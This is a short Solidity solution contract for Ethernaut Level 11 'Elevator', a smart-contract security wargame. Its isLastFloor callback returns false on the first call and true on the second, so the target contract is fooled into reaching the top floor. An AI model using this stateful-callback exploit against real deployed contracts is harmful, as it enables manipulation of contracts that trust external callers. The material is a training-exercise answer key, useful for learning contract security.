Solution for Ethernaut Level 11 - Elevator. For Remix IDE

ElevatorHack.sol

// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

interface IElevator {
    function goTo(uint) external;
    function top() external view returns(bool);
}

contract ElevatorHack {
    uint private count;

    function hack(address _elevator) external {
        IElevator elevator = IElevator(_elevator);
        // Passing 0 will save you some gas
        elevator.goTo(0);
        require(elevator.top());
    }

    function isLastFloor(uint) external returns (bool) {
        if (count > 0) return true;
        else {
            count++;
            return false;
        }
    }
}